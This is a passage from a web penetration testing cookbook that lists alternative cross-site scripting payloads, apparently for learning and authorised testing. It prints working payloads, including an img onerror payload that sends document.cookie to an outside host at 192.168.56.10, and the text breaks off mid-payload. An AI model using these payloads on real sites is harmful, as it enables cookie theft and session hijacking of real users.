Kali Linux Web Penetration Testing Cookbook - Second Edition

See also

In this recipe, we used the <script> tag to inject a JavaScript code block into the page; however, this is not the only HTML tag we can use, especially with the additions made by HTML5, where we have <video> and <audio>, for example. Let's see some other payloads we could have used to exploit XSS:

• Generating an error event on tags with an src/source parameter, such as <img>, <audio>, and <video>:

<img src=X onerror="javascript:document.write('<img src=&quot;http://192.168.56.10:88/img'+document.cookie+'&quot;>')">

Or, use the following:

<audio><source onerror="javascript:alert('XSS')">

Or, there is also this:

<video><source onerror="javascript:alert('XSS')">

• Injecting a <script> tag that loads an external JavaScript file:

<script ...